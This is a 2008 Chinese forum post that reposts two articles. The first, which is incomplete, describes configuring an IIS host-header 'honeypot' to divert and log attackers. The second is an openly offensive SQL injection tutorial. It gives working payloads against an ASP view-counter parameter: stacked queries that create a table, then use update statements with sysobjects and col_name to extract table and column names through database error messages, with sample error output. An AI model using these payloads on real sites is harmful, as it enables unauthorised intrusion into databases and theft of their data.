Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

共享两个服务器安全技巧

[复制链接]
wkjxxx 发表于 2008-7-26 10:02:02 | 显示全部楼层 |阅读模式
共享两个服务器安全技巧
安全 配置IIS蜜罐抵御黑客攻击
据有关资料显示,现在有大量的服务器仍在使用IIS提供Web服务,甚至有争夺占领Apache市场的趋势。在Web威胁日益严重的今天,我们当然要采用反病毒、防火墙、UTM、NAC等手段来加强网络安全。但是,有时正确地建设一个蜜罐也是对付黑客的必需任务。

  什么是蜜罐?简言之,蜜罐就是一个位于互联网上的计算机系统,其特定的目的是为了吸引并“诱捕”试图渗透进入其他人的计算机系统的黑客。要建立一个真正的蜜罐,用户需要做的事情很多,但至少要求用户做到三条,一是安装一个不打补丁的操作系统,并且需要使用默认配置,二是要保证系统上没有任何数据,三是添加一个设计目的是记载入侵者活动的应用程序。

  在IIS中配置蜜罐并不是一件件很复杂的事情,但它却可有助于极大地减少对IIS服务器的攻击。严格意义上讲,本文所谈论的并非一个真正的蜜罐,因为一个真正的蜜罐是一个拥有许多漏洞且故意暴露在互联网上的主机,这里所讨论的只不过是一个数据通信的转向器而已。使用HTTP主机的头信息,我们完全可以将攻击者的通信转向一个并不存在的站点上。

  黑客们会使用端口扫描器来查找那些开放着80号端口的IP地址,并对这些端口实施其攻击和侵入的企图。另外一方面,网站的终端用户会使用域名来访问站点,因此我们的措施并不会影响这些普通用户。通过启用网站上的主机头名并将IP企图重新转向,我们就可以跟踪和记录黑客来自何方,同时又保持了对终端用户的可用性。

  理论上的事儿先说到这里,下面我们开始建立一个蜜罐。

  我们需要做的第一件事情就是要在Web服务器上建立一个空的目录。其名称与位置没有什么关系,对于本例而言,笔者创建了一个称为Honeypot的目录,它位于C:\Inetpub\wwwroot的目录下。启动IIS 管理程序,并为所有的站点分配一个主机头名,这样每一台虚拟服务器都有一个带有IP地址的主机头名。如下图1:
  



查看源文

http://www.downza.cn/ma/sort0156/info-3104.html  

--------------------------------------------------------------------

SQL脚本注入的不常见方法概括

大家在是否碰到过这样的站点:

  全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。

  我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

  攻击方法:

  查看源文件/看里面是否有通过JS来调用的页面。

  如调用来更新文章的浏览次数。

  我们就可以这样来试一下可否注入:

  http://服务器域名/count.asp?id=1552’

  看一下是否出错。如出错说明有注入漏洞。然后正常攻击。

  在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

  post.htm内容:主要是方便输入。

  对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

  对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

  然后插入一条记录:id=1552;insert into aaa values(’test’);--

  再之后枚举出他的数据表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--

  这是将第一个表名更新到aaa的字段处。
    id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:

  Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’

  将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。

  /search.asp,行21

  其中vote就是表名:

  也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  ……类推

查看源文

http://www.downza.cn/ma/sort0156/info-3102.html
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-19 02:30 , Processed in 0.019997 second(s), 3 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表